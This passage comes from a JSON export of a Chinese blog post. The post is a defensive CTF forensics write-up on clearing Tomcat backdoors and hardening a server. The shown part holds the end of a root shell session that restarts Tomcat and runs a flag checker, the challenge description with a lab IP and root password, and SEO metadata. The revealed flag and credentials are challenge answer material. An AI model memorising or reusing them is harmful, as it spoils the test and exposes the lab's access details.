\/>\nTomcat\u91cd\u542f\u6216\u9a8c\u8bc1\u5931\u8d25&#xff0c;\u65e0\u6cd5\u63d0\u4f9bflag<br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># cd \/opt\/apache-tomcat-8.5.100\/bin\/<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># .\/shutdown.sh<\/span><br \/>\nUsing CATALINA_BASE:   \/opt\/apache-tomcat-8.5.100<br \/>\nUsing CATALINA_HOME:   \/opt\/apache-tomcat-8.5.100<br \/>\nUsing CATALINA_TMPDIR: \/opt\/apache-tomcat-8.5.100\/temp<br \/>\nUsing JRE_HOME:        \/opt\/jre8u462<br \/>\nUsing CLASSPATH:       \/opt\/apache-tomcat-8.5.100\/bin\/bootstrap.jar:\/opt\/apache-tomcat-8.5.100\/bin\/tomcat-juli.jar<br \/>\nUsing CATALINA_OPTS:<br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># .\/startup.sh<\/span><br \/>\nUsing CATALINA_BASE:   \/opt\/apache-tomcat-8.5.100<br \/>\nUsing CATALINA_HOME:   \/opt\/apache-tomcat-8.5.100<br \/>\nUsing CATALINA_TMPDIR: \/opt\/apache-tomcat-8.5.100\/temp<br \/>\nUsing JRE_HOME:        \/opt\/jre8u462<br \/>\nUsing CLASSPATH:       \/opt\/apache-tomcat-8.5.100\/bin\/bootstrap.jar:\/opt\/apache-tomcat-8.5.100\/bin\/tomcat-juli.jar<br \/>\nUsing CATALINA_OPTS:<br \/>\nTomcat started.<br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># ~\/flagcheck<\/span><br \/>\n\u6240\u6709\u68c0\u67e5\u901a\u8fc7&#xff0c;\u606d\u559c\u8fc7\u5173<span class=\"token punctuation\">..<\/span>.<br \/>\nFlag\u7ed3\u679c: flag<span class=\"token punctuation\">{<\/span>8c935ede-7633-4639-b0ea-77dbb21be2b7<span class=\"token punctuation\">}<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># <\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9898\u76ee<br \/>\n2026 \u7834\u9635\u9601::CTF \u7834\u9635\u00b7\u5dc5\u5cf0 &#8211; Forensics &#8211; \u5e94\u6025\u62ef\u6551\u8ba1\u5212&#xff1a;\u9690\u533f\u6f5c\u88ad<br \/>\nhttps:\/\/118.195.192.138:9443\/games\/4\/challenges#<br \/>\n\u653b\u51fb\u8005\u624b\u6cd5\u5168\u9762\u5347\u7ea7&#xff0c;\u5728Tomcat\u670d\u52a1\u5668\u4e2d\u7559\u4e0b\u4e86\u66f4\u6df1\u5c42\u7684\u540e\u95e8\u3002\u8bf7\u5f7b\u5e95\u6392\u67e5\u6240\u6709\u5165\u4fb5\u75d5\u8ff9&#xff0c;\u53ea\u6709\u5b8c\u7f8e\u6e05\u9664\u6240\u6709\u540e\u95e8&#xff0c;\u624d\u80fd\u83b7\u53d6\u6700\u7ec8\u7684flag&#xff01;<br \/>\n\u8d26\u53f7 root<br \/>\n\u5bc6\u7801 idgfxuxvr2tqekhz \u89e3\u9898\u8fc7\u7a0b<br \/>\n\u4e00<\/p>\n","protected":false},"author":2,"featured_media":85620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[9066],"topic":[],"class_list":["post-85640","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-ctf"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/85640.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u9898\u76ee 2026 \u7834\u9635\u9601::CTF \u7834\u9635\u00b7\u5dc5\u5cf0 - Forensics - \u5e94\u6025\u62ef\u6551\u8ba1\u5212&#xff1a;\u9690\u533f\u6f5c\u88ad https:\/\/118.195.192.138:9443\/games\/4\/challenges# \u653b\u51fb\u8005\u624b\u6cd5\u5168\u9762\u5347\u7ea7&#xff0c;\u5728Tomcat\u670d\u52a1\u5668\u4e2d\u7559\u4e0b\u4e86\u66f4\u6df1\u5c42\u7684\u540e\u95e8\u3002\u8bf7\u5f7b\u5e95\u6392\u67e5\u6240\u6709\u5165\u4fb5\u75d5\u8ff9&#xff0c;\u53ea\u6709\u5b8c\u7f8e\u6e05\u9664\u6240\u6709\u540e\u95e8&#xff0c;\u624d\u80fd\u83b7\u53d6\u6700\u7ec8\u7684flag&#xff01; \u8d26\u53f7 root \u5bc6\u7801 idgfxuxvr2tqekhz \u89e3\u9898\u8fc7\u7a0b \u4e00\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/85640.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-07-27T11:33:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113250-6a6741e2b0474.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/85640.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/85640.html\",\"name\":\"\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-07-27T11:33:04+00:00\",\"dateModified\":\"2026-07-27T11:33:04+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/85640.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/85640.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/85640.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/85640.html","og_locale":"zh_CN","og_type":"article","og_title":"\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u9898\u76ee 2026 \u7834\u9635\u9601::CTF \u7834\u9635\u00b7\u5dc5\u5cf0 - Forensics - \u5e94\u6025\u62ef\u6551\u8ba1\u5212&#xff1a;\u9690\u533f\u6f5c\u88ad https:\/\/118.195.192.138:9443\/games\/4\/challenges# \u653b\u51fb\u8005\u624b\u6cd5\u5168\u9762\u5347\u7ea7&#xff0c;\u5728Tomcat\u670d\u52a1\u5668\u4e2d\u7559\u4e0b\u4e86\u66f4\u6df1\u5c42\u7684\u540e\u95e8\u3002\u8bf7\u5f7b\u5e95\u6392\u67e5\u6240\u6709\u5165\u4fb5\u75d5\u8ff9&#xff0c;\u53ea\u6709\u5b8c\u7f8e\u6e05\u9664\u6240\u6709\u540e\u95e8&#xff0c;\u624d\u80fd\u83b7\u53d6\u6700\u7ec8\u7684flag&#xff01; \u8d26\u53f7 root \u5bc6\u7801 idgfxuxvr2tqekhz \u89e3\u9898\u8fc7\u7a0b \u4e00","og_url":"https:\/\/www.wsisp.com\/helps\/85640.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-07-27T11:33:04+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113250-6a6741e2b0474.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"16 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/85640.html","url":"https:\/\/www.wsisp.com\/helps\/85640.html","name":"\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-07-27T11:33:04+00:00","dateModified":"2026-07-27T11:33:04+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/85640.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/85640.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/85640.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/85640","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=85640"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/85640\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/85620"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=85640"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=85640"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=85640"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=85640"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}